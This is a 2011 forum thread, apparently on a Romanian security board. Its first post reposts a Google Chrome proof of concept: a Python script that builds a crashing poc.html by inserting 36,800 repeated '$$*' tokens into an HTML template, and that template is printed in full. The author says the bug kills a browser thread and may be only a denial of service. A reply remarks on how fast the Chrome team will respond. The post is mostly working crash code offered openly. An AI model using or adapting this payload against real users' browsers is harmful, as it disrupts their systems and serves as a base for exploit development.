LLegoLLaS Posted October 24, 2011 Report Share Posted October 24, 2011 ## _ (`-') _ pigtail23 (`-') (`-') _ _ remoteshell.de #### \-.(OO ) (_) .-> ( OO).-> (OO ).-/ (_) <-. #### _.' \ ,-(`-') ,---(`-')/ '._ / ,---. ,-(`-'),--. ) .----. .----. ####(_...--'' | ( OO)' .-(OO )|'--...__)| \ /`.\ | ( OO)| (`-')\_,-. |\_.-, | ####| |_.' | | | )| | .-, \`--. .--''-'|_.' | | | )| |OO ) .' .' |_ < ####| .___.'(| |_/ | | '.(_/ | | (| .-. |(| |_/(| '__ | .' /_ .-. \ | ####| | | |'->| '-' | | | | | | | | |'->| |'| |\ `-' / ####`--' `--' `-----' `--' `--' `--' `--' `-----' `------' `---'' ########################################################################################################################################################################October 22, 2011Ohh nice! What u doing google? Thx 4 ur bug! 0__oGoogle Chrome PoC, killing thread. Exploitable or only a DOS!? Found no way to exploit it. Good Luck!!!Testsystem: WinXP SP3, Win7(64 bit)Google Chrome version: 14.0.835.202Greetings to:mr_insecure, myownremote, noptrix, Eph, lnxg33k, CyberMaN,...TheXero, Dexter, #back-track.de and #intern0t @ irc.freenode.net###################################################################################poc.html:too big!###################################################################################Python script for debugging:#!/usr/bin/pythonfilename = 'poc.html'content = open('template.html', 'r').read()buff = '$$*' * 36800rc = 484content2 = content[:rc] + buff + content[rc:]FILE = open(filename,"w")FILE.write(content2)FILE.close()template.html:<html><body><script>(function(){var d=document;if(!("autofocus" in d.createElement("input"))){try{d.getElementById("yschsp").focus();}catch(e){}}data={"assist":{"url":"http:\/\/www.google.com","maxLength":38,"linkStem":"http:\/\/www.remoteshell.de","settingsUrl":"http:\/\/www.chrooome.xxx","strings":{"searchbox_title":"bam","settings_text":"bam","gossip_desc":"bam","scroll_up":"bam","scroll_down":"bam","aria_available_suggestions":"bam","aria_no_suggestion_available":"bam"}}};window.onload=function(){var h=d.getElementsByTagName("head")[0],o=d.createElement("script");o.src="http://www.0__o";h.appendChild(o);};}());</script></body></html>sursa Quote Link to comment Share on other sites More sharing options...
devacanta Posted October 24, 2011 Report Share Posted October 24, 2011 acum sa vedem cat de repede se misca echipa chrome Quote Link to comment Share on other sites More sharing options...
